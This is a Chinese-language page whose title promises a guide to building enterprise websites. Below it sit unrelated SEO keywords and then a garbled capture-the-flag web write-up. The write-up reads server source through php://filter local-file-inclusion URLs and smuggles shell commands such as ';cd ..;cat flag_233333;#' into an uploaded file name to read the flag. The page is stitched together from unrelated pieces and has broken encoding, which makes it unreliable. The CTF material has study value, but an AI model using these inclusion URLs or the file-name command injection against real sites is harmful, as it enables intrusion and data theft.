企业官网建设流程全解析

网站的三大标签,wordpress 循环两个交替,网站多语言 设计,做购物网站骗人随便输入账号密码#xff0c;没什么提示#xff0c;试一下有没有注册界面register.php注册并登录试一下伪协议读取源码/user.php?pagephp://filter/convert.base64-encode/resourceuser注意到这里有function.php/user.php?pagephp://filter/convert.base64-encode/resource…随便输入账号密码没什么提示试一下有没有注册界面register.php注册并登录试一下伪协议读取源码/user.php?pagephp://filter/convert.base64-encode/resourceuser注意到这里有function.php/user.php?pagephp://filter/convert.base64-encode/resourcefunction读取/user.php?pagephp://filter/convert.base64-encode/resourceffffllllaaaaggg但不成功查了一下得用这个url//user.php?pagephp://filter/convert.base64-encode/resourceffffllllaaaaggg读取m4aaannngggeee/user.php?pagem4aaannngggeee应该是文件上传抓包修改文件名尝试切到根目录的时候发现/被过滤了使用cd ..payload;cd ..;ls;#读取flag;cd ..;cat flag_233333;#